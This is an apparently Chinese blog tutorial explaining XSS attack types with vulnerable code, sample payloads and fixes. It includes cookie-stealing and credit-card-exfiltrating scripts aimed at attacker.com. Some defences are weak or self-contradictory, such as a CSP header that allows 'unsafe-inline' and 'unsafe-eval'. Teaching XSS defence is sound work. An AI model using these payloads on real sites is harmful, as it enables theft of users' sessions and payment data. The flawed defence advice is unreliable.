您现在的位置是:网站首页 > 常见的 XSS 攻击示例文章详情

常见的 XSS 攻击示例

跨站脚本攻击(XSS)的基本原理

跨站脚本攻击(Cross-Site Scripting,简称XSS)是一种常见的Web安全漏洞,攻击者通过在网页中注入恶意脚本,当其他用户浏览该网页时,脚本会在用户浏览器中执行。XSS攻击通常分为三种类型:反射型XSS、存储型XSS和DOM型XSS。

反射型XSS攻击示例

反射型XSS是最常见的XSS攻击形式,恶意脚本作为请求的一部分发送到服务器,然后服务器将脚本"反射"回响应中。这种攻击通常需要诱骗用户点击特制的链接。

// 假设有一个搜索页面,搜索结果显示在页面上
// 不安全的代码示例
const searchTerm = new URLSearchParams(window.location.search).get('q');
document.getElementById('results').innerHTML = `您搜索的是: ${searchTerm}`;

// 攻击者可以构造如下URL
// http://example.com/search?q=<script>alert('XSS')</script>

防御方法是对用户输入进行转义:

function escapeHtml(unsafe) {
  return unsafe
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#039;");
}

const safeSearchTerm = escapeHtml(searchTerm);
document.getElementById('results').textContent = `您搜索的是: ${safeSearchTerm}`;

存储型XSS攻击示例

存储型XSS比反射型更危险,因为恶意脚本被永久存储在服务器上(如数据库),每次用户访问受影响页面时都会执行。

// 假设有一个评论系统
// 不安全的代码示例
app.post('/comment', (req, res) => {
  const { comment } = req.body;
  // 直接将用户评论存入数据库
  db.saveComment(comment);
  res.redirect('/comments');
});

// 显示评论时不转义
app.get('/comments', (req, res) => {
  const comments = db.getComments();
  res.send(`
    <h1>评论列表</h1>
    ${comments.map(c => `<div>${c.content}</div>`).join('')}
  `);
});

// 攻击者可以提交如下评论
// <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

防御方法是服务器端和客户端双重验证和转义:

// 服务器端转义
function sanitize(input) {
  // 使用专业的库如DOMPurify
  return DOMPurify.sanitize(input);
}

// 客户端显示时也进行转义
app.get('/comments', (req, res) => {
  const comments = db.getComments();
  res.send(`
    <h1>评论列表</h1>
    ${comments.map(c => `<div>${escapeHtml(c.content)}</div>`).join('')}
  `);
});

DOM型XSS攻击示例

DOM型XSS是完全在客户端发生的攻击,恶意数据被不安全的DOM操作使用。

// 不安全的代码示例
const hash = window.location.hash.substring(1);
document.getElementById('welcome').innerHTML = `欢迎, ${hash}`;

// 攻击者可以构造如下URL
// http://example.com#<img src=x onerror=alert('XSS')>

防御方法是避免使用innerHTML,改用textContent:

document.getElementById('welcome').textContent = `欢迎, ${hash}`;

或者使用安全的DOM API:

const div = document.getElementById('welcome');
div.appendChild(document.createTextNode('欢迎, '));
div.appendChild(document.createTextNode(hash));

基于属性的XSS攻击

当用户输入被直接用作HTML属性值时,也可能导致XSS。

// 不安全的代码示例
const userInput = 'javascript:alert("XSS")';
document.getElementById('link').href = userInput;

// 或者
const color = '" onmouseover="alert(\'XSS\')" x="';
document.getElementById('box').style = `color: ${color}`;

防御方法是验证和清理属性值:

// 对于URL属性
function sanitizeUrl(url) {
  if (!url.startsWith('http://') && !url.startsWith('https://')) {
    return 'about:blank';
  }
  return url;
}

// 对于CSS属性
function sanitizeCss(css) {
  return css.replace(/["']/g, '');
}

基于事件的XSS攻击

当用户输入被直接用作HTML事件处理程序时,可能导致XSS。

// 不安全的代码示例
const userInput = 'alert("XSS")';
document.getElementById('button').onclick = new Function(userInput);

// 或者通过HTML属性
element.setAttribute('onclick', userInput);

防御方法是避免使用动态生成的事件处理程序:

// 安全的做法是预定义事件处理函数
document.getElementById('button').addEventListener('click', () => {
  // 预定义的逻辑
});

使用现代前端框架时的XSS防护

现代前端框架如React、Vue和Angular提供了内置的XSS防护,但仍需注意某些特殊情况。

React示例:

// 安全的做法
function SafeComponent({ userInput }) {
  return <div>{userInput}</div>; // React会自动转义
}

// 危险的做法
function DangerousComponent({ userInput }) {
  return <div dangerouslySetInnerHTML={{ __html: userInput }} />;
}

Vue示例:

<!-- 安全的做法 -->
<template>
  <div>{{ userInput }}</div>
</template>

<!-- 危险的做法 -->
<template>
  <div v-html="userInput"></div>
</template>

其他XSS攻击向量

除了上述常见形式,XSS攻击还可能通过以下途径发生:

  1. SVG文件:SVG可以包含JavaScript代码
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')"></svg>
  1. CSS表达式(旧版IE支持)
div {
  width: expression(alert('XSS'));
}
  1. JSON注入:当JSON被直接解析为JavaScript时
const data = '{"malicious": alert("XSS")}';
eval('(' + data + ')'); // 危险
JSON.parse(data); // 安全

内容安全策略(CSP)防护

CSP是一种有效的XSS防护机制,通过HTTP头指定哪些资源可以被加载和执行。

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;

示例配置:

  • default-src 'self':默认只允许同源资源
  • script-src 'self':只允许同源脚本
  • 'unsafe-inline':允许内联脚本(不推荐)
  • 'unsafe-eval':允许eval等动态代码执行(不推荐)

实际案例分析

某电商网站存在存储型XSS漏洞:

// 商品评价系统漏洞
// 攻击者提交的评价内容
/*
<script>
  const form = document.createElement('form');
  form.method = 'POST';
  form.action = 'https://attacker.com/steal';
  
  const input = document.createElement('input');
  input.type = 'hidden';
  input.name = 'creditcard';
  input.value = document.querySelector('.credit-card').innerText;
  
  form.appendChild(input);
  document.body.appendChild(form);
  form.submit();
</script>
*/

该脚本会窃取页面上的信用卡信息并发送到攻击者的服务器。防御措施应包括:

  1. 输入验证:限制评价内容为纯文本
  2. 输出编码:显示评价时进行HTML转义
  3. CSP策略:限制脚本只能从可信源加载
  4. 敏感信息保护:信用卡信息不应直接显示在页面上

我的名片

网名:~川~

岗位:console.log 调试员

坐标:重庆市-九龙坡区

邮箱:cc@qdcc.cn

沙漏人生

站点信息

  • 建站时间:2013/03/16
  • 本站运行
  • 文章数量
  • 总访问量
微信公众号
每次关注
都是向财富自由迈进的一步